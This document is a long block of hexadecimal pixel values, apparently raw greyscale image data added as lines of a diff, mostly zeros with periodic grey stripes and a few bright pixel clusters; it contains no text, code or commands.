+000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000707070707070707070707070707070707070707070707070707070707070707070 +707070707070707070000000000000000000000000000000000000000000000000000000000000 +000000F6F6F6949494000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000707070707070707070 +707070707070707070707070707070707070707070707070707070707070707070000000000000 +000000000000000000000000000000000000000000000000000000E1E1E1A9A9A9000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000707070707070707070707070707070707070707070707070 +707070707070707070707070707070707070000000000000000000000000000000000000000000 +000000000000000000000000AFAFAFDDDDDD000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +707070707070707070707070707070707070707070707070707070707070707070707070707070 +707070000000000000000000000000000000000000000000000000000000000000000000565656 +FFFFFF4C4C4C0000000000000000000E0E0E000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000707070707070707070707070707070 +707070707070707070707070707070707070707070707070707070000000000000000000000000 +000000000000000000000000000000000000000000010101BBBBBBF2F2F27A7A7A525252808080 +CDCDCD000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000707070707070707070707070707070707070707070707070707070707070 +707070707070707070707070000000000000000000000000000000000000000000000000000000 +0000000000000000000A0A0A888888E2E2E2F8F8F8DBDBDB747474000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000707070707070 +707070707070707070707070707070707070707070707070707070707070707070707070000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000707070707070707070707070707070707070707070 +707070707070707070707070707070707070707070000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000707070707070707070707070707070707070707070707070707070707070707070707070 +707070707070000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000707070707070707070707070 +707070707070707070707070707070707070707070707070707070707070000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 